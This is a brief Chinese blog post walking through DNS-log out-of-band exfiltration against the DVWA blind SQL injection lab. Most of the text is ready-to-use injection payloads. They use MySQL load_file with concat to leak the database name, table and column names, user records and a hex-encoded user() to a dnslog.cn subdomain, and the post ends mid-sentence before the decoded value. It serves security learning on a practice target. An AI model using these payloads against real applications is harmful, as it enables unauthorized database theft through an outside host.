DNS注入 dvwa SQL Injection(Blind)

DNSlog平台:http://www.dnslog.cn/

获取数据库名:

1' and (load_file(concat('//',(select database()),'.q5lobx.dnslog.cn/abc')))%23

获取表名

1' and (load_file(concat('//',(select group_concat(table_name SEPARATOR '.') from information_schema.tables where table_schema=database()),'.q5lobx.dnslog.cn/abc')))%23

获取字段名

1' and (load_file(concat('//',(select group_concat(column_name SEPARATOR '.') from information_schema.COLUMNS where table_name='users' and table_schema='dvwa'),'.q5lobx.dnslog.cn/abc')))%23

获取表记录

1' and (load_file(concat('//',(select group_concat(concat(first_name,'-',last_name,'-') SEPARATOR '.') from users),'.q5lobx.dnslog.cn/abc')))%23

特殊字符处理

url中传递的字符有限,很多特殊字符如 { , } , !,无法传递,这会导致load_file函数失效,可以通过对select语句结果进行hex编码,得到编码结果后再转码即可获得正确结果
例如 dvwa 数据库中user() 的结果为root@localhost,@为特殊字符,使得无法在dnslog 中获取正确结果,对输出结果使用hex(user())可以获取下面信息
1' and (load_file(concat('//',(select hex(user()) ),'.q5lobx.dnslog.cn/abc')))%23

将 726F6F74406C6F63616C686F7374 解码,可以获得

posted @ 2025-02-19 23:35  小圣爱学习  阅读(48)  评论(0)    收藏  举报